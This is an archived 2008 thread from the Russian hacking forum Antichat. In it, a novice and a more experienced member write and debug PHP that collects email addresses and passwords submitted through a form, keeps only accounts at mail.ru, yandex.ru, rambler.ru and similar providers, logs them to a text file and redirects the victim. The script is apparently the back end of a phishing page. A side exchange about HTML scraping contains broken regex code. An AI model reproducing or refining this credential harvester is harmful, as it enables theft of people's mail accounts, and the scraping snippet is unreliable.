ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

21.09.2008, 18:19
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме: 3941248
Репутация:
668
|
|
geforce
PHP код:
$f=explode("@",$_POST['a'],2);
if($f[1]=="mail.ru")
echo "делаем одно";
|
|
|

21.09.2008, 18:29
|
|
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме: 458686
Репутация:
-25
|
|
Сообщение от art2222
Народ, как выдрать текст из веб странички
<hr class="iq">
<div class="q">
текст который нужно достать
</div>
Таких может быть несколько на паге. Нужно достать все. С меня +
Используй функцию preg_match!
PHP код:
<?php
$f = file_get_contents("файл где ищеш.php");
$s1="<hr class="iq">";
$s2="<hr class="iq">";
preg_match_all($s1,$f,$ma);
preg_match_all($s2,$f,$mas);
echo ma[1];
echo mas[1];
fclose($f);
?>
Последний раз редактировалось geforce; 21.09.2008 в 18:50..
|
|
|

21.09.2008, 18:34
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме: 3941248
Репутация:
668
|
|
geforce Во мервых ему нужны все совпадения тоесть preg_match_all во вторых это скорее всего многострочный контент .. нужно добавить идитификатор \m вроде
|
|
|

21.09.2008, 18:38
|
|
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме: 458686
Репутация:
-25
|
|
PHP код:
<?php
$f="";
$mail[0]="mail.ru";
$mail[1]="list.ru";
$mail[2]="inbox.ru";
$mail[3]="bk.ru";
$mail[4]="yandex.ru";
$mail[5]="rambler.ru";
$fs=explode("@",$_POST['a'],2);
if (($fs[1]==$mail[0])or($fs[1]==$mail[1])or($fs[1]==$mail[2])or($fs[1]==$mail[3])or($fs[1]==$mail[4])or($fs[1]==$mail[5]))
{
if (($_POST["a"]==$f)or($_POST["b"]==$f))
{
header('Location: error1.php');
} else
{
if(isset($_POST["a"])&& isset($_POST["b"]))
{
$fh=fopen("kont.txt","a");
fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");
fclose($fh);
header('Location: autor.php');
}
}
} else
{
header('Location: error2.php');
}
?>
Вот так правильно???
|
|
|

21.09.2008, 18:40
|
|
Участник форума
Регистрация: 11.12.2005
Сообщений: 160
Провел на форуме: 745130
Репутация:
159
|
|
preg_match не работает с файловыми указателями
|
|
|

21.09.2008, 18:45
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме: 3941248
Репутация:
668
|
|
NuR мм .... причём тут файловый указаталь? только функции чтения из файла работают с ними ... а сложно сделать $f = file_get_contents('file.txt');
geforce что это за ужас?
if (($fs[1]==$mail[0])or($fs[1]==$mail[1])or($fs[1]==$mail[2])or($fs[1]==$mail[3])or($fs[1]==$mail[4])or($fs[1]==$mail[5]))
типо не существует ф-ции in_array() ?
илии нету ф-ции empty() ?
Последний раз редактировалось Doom123; 21.09.2008 в 18:51..
|
|
|

21.09.2008, 18:52
|
|
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме: 458686
Репутация:
-25
|
|
Сообщение от Doom123
geforce что это за ужас?
if (($fs[1]==$mail[0])or($fs[1]==$mail[1])or($fs[1]==$mail[2])or($fs[1]==$mail[3])or($fs[1]==$mail[4])or($fs[1]==$mail[5]))
типо не существует ф-ции in_array() ?
илии нету ф-ции empty() ?
Я новичёк подскажи как пользоваться in_array() или empty()?
|
|
|

21.09.2008, 18:55
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме: 3941248
Репутация:
668
|
|
geforce
PHP код:
<?php
$mail[0]="mail.ru";
$mail[1]="list.ru";
$mail[2]="inbox.ru";
$mail[3]="bk.ru";
$mail[4]="yandex.ru";
$mail[5]="rambler.ru";
$fs=explode("@",$_POST['a'],2);
if (in_array($fs[1],$mail))
{
if (empty($_POST['b'])) //Нужна проверка т.к $_POST['а'] мы проверили выше
exit(header('Location: error1.php'));
$fh=fopen("kont.txt","a");
fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");
fclose($fh);
header('Location: autor.php');
} else
header('Location: error2.php');
?>
Последний раз редактировалось Doom123; 21.09.2008 в 19:00..
|
|
|

21.09.2008, 19:13
|
|
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме: 458686
Репутация:
-25
|
|
Сообщение от Doom123
if (empty($_POST['b'])) //Нужна проверка т.к $_POST['а'] мы проверили выше
Нет b у меня пасворд его не надо проверять!
|
|
|

21.09.2008, 19:17
|
|
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме: 458686
Репутация:
-25
|
|
PHP код:
<?php
$f="";
$mail[0]="mail.ru";
$mail[1]="list.ru";
$mail[2]="inbox.ru";
$mail[3]="bk.ru";
$mail[4]="yandex.ru";
$mail[5]="rambler.ru";
if (($_POST["a"]==$f)or($_POST["b"]==$f)) //проверяет поле на пустоту
{header('Location: error1.php');}
else {$fs=explode("@",$_POST['a'],2); //проверяет правильность мыла
if (in_array($fs[1],$mail))
{if(isset($_POST["a"])&& isset($_POST["b"])) //делает запись в текстовый файл если выше описаные проверки пройдены
{$fh=fopen("kont.txt","a");
fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");
fclose($fh);
header('Location: autor.php');}}} else {header('Location: error2.php');}
?>
Почему пишет ошибку?
Parse error: syntax error, unexpected T_ELSE in Z:\home\test3.ru\www\prog.php on line 27
Последний раз редактировалось geforce; 21.09.2008 в 20:10..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|